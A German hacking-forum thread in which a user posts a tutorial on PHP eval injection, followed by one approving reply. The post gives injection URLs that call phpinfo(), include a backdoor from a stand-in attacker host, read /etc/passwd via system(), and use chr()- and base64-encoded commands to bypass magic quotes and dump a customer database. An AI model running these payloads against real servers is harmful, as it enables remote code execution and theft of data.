Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

Eval Injection in PHP

- - - - -

  • Bitte melde dich an um zu Antworten
Eine Antwort in diesem Thema

#1
Zero-X

Zero-X

    FTB Experte

  • Premium Member
  • Likes
    129
  • 98 Beiträge
  • 45 Bedankt
  • Android
  • Windows, Linux
Eval Injection

Bei der Eval Injection handelt es sich um eine Sicherheitslücke, bei der ein Angreifer beliebigen Code in ein PHP-Skript über einen Parameter in der URL oder eines Eingabefelds einschleusen kann.
Diese Sicherheitslücke entsteht, wenn der PHP-Befehl eval() verwendet und die Eingaben nicht ausreichend gefiltert werden.

Hier ist ein einfacher Beispielcode wie ein verwundbares Skript aussehen kann:

<? eval($func); ?>


Ein Angreifer kann jetzt mit folgenden Beispielen Code einschleusen:
seite.de/index.php?func=<?php phpinfo(); ?>
oder:
seite.de/index.php?func=phpinfo(); (ohne Klammern)

In einigen Fällen muss man nachfolgenden php-Code auskommentieren, das macht man so:
seite.de/index.php?func=phpinfo();//
seite.de/index.php?func=phpinfo();/*
seite.de/index.php?func=phpinfo();%23
Mit //, /* oder %23 kommentiert darauffolgenden php-Code aus. %23 ist das Hexzeichen für Raute, wenn man im Browser einfach die Raute hintendran schreibt funktioniert es nicht, weil der Browser das als Sprungmarke interpretieren würde.

Das ist ein relativ harmloses Beispiel, es werden einem nur einige Informationen über das System angezeigt.


Wesentlich gefährlicher ist das hier:

seite.de/index.php?func=include(http://angreifer.de/backdoor.txt);

Hier wird ein Skript von einem externen Host eingebunden und auf dem Zielsystem ausgeführt. Der Kreativität sind da keine Grenzen gesetzt. Damit das funktioniert muss URL-Inlcude in der php.ini aktiviert sein.


Wenn URL-Include nicht aktiviert ist, funktioniert noch dieses Beispiel:
seite.de/index.php?func=system("cat /etc/passwd");

Mit dem Befehl system() kann man jeden beliebigen Shell-Befehl auf dem Server ausführen.

Magic Quotes mit eval() umgehen:
Über eine Sicherheitslücke mit eval() kann man mit einem einfachen Trick Magic Quotes umgehen, wenn sie auf einem Server aktiviert sind.
PHP hat einen Befehl, mit dem Namen chr(). Wenn man in chr einen ASCII-Code eingibt, erhält man das entsprechende Zeichen zurück. Gibt man zum Beispiel "chr(104)" ein, erhält man den Buchstaben "h".

Ein Beispiel:
seite.de/index.php?func=system(chr(109).chr(121).chr(115).chr(113).chr(108).chr(32).chr(45).chr(101).chr(32).chr(34).chr(115).chr(104).chr(111).chr(119).chr(32).chr(116).chr(97).chr(98).chr(108).chr(101).chr(115).chr(34).chr(32).chr(45).chr(104).chr(32).chr(108).chr(111).chr(99).chr(97).chr(108).chr(104).chr(111).chr(115).chr(116).chr(32).chr(45).chr(68).chr(32).chr(107).chr(117).chr(110).chr(100).chr(101).chr(110).chr(32).chr(45).chr(117).chr(32).chr(114).chr(111).chr(111).chr(116).chr(32).chr(45).chr(112).chr(32).chr(49).chr(50).chr(51).chr(52).chr(53));

An die Funktion system() wurde folgendes übergeben:
mysql -e "show tables" -h localhost -D kunden -u root -p 12345

Mit dieser Eingabe werden über den MySQL-Client über den Benutzer "root" und dem Passwort "12345" die Tabellen der Datenbank "kunden" aufgelistet. Normalerweise würde vor jeden " ein Backslash gesetzt und der Parameter -e hätte eine ungültige Eingabe, mit chr() hat man aber den Server ausgetrickst.

Alternativ kann man das auch in base64 codieren.
seite.de/index.php?func=system(base64_decode(bXlzcWwgLWUgInNob3cgdGFibGVzIiAtaCBsb2NhbGhvc3QgLUQga3VuZGVuIC11IHJvb3QgLXAgMTIzNDU));

  • PaulaAbdul, Ch!ller, Framerater und 6 anderen gefällt das

#2
Ch!ller

Ch!ller

    Shinigami

  • SubMod
  • PIPPIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    958
  • 896 Beiträge
  • 1386 Bedankt
  • Spender
  • verifiziert
Finde das Tutorial sehr gut
  • Zero-X gefällt das
Alle Angaben und Informationen dienen lediglich der Theorie!



  Thema Forum Themenstarter Statistik Letzter Beitrag

Dieses Thema wurde von 154 Mitglied(ern) gelesen


    , 0*ptr, 007, 2242, 3even, abuleyla, abuleyla, Amphe1337, AvdeXg, b0kerst3l, B1nary, Babo187, bbxhnr, bebekid32, Blackhook, BlackZetsu, Born2Hack, Bot4ng, Botmopp, Butt3rs, C4shin0ut, cardanoia, Cavoo, Ch!ller, ch3m, chimchoca7, chronnox, Clex, cooky1, corkscrew, Cranky, Creo, Crunshy, cruzz, Cube, cX., Cy0n!X, Cyber Tjak, CyberFlash, DarKdb, derballast, derrod, desmond, dischien, dnscode, done65, dorich75, dusa, easysurfer, EncepT, FakeKeyUser, FalkE, FatalityMods, Ferkel, Flex.Net, Framerater, Franziskaner, frechdax, G0rki, GokBoruEfe, GoWest, Gragg23, gtawelt, h4ket, Haksor, Hansiberg, harlek1n, Heinokel0903, im_nobody, Interimere, Internets, INTERSPACECOWBOY, J0cker, jabba, JackTheRapper, johny758, Juri, justrix, Kaase, kakao1, KartRazer, kingkev0, kiwitone, Klaus, Koffee, laxs, LearningbyDoing, lion., lNobodyl, lolorollo, m0nk3y, Macy1967, marcf2009, Maximalx3, Mofug, most_uniQue, N0V3, Osed28, PaulaAbdul, pdr0, pfadn, pi^2, Pornotnthase, prto, pyth, Qjx1337, Qumbilo, R3s1stanc3, ReBBeL, redcore, retr0, Revofire, Rogerlopensio, romka1337, rookyy66, RudolfAntal, S4lent, SAR, Sash1, Sayco, Shadowgun, Sharky, shellnator, shok0, Sleepy, smc2014, Smokyjoe, sniffer, snippa, Solution, Sputnick, SPYKEshadow, Sukaro, syntx, T00LStar, Take1T, TheBuddler, TooL, ToWFiNiT, Traxx, tygaone, ukiya006, Unkiii, User8329, ValleX, venom, Woodenhero, Xenio, Xpit, xtrx, xVirtu, Z3LuX, Zero-X, Zerobyte
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.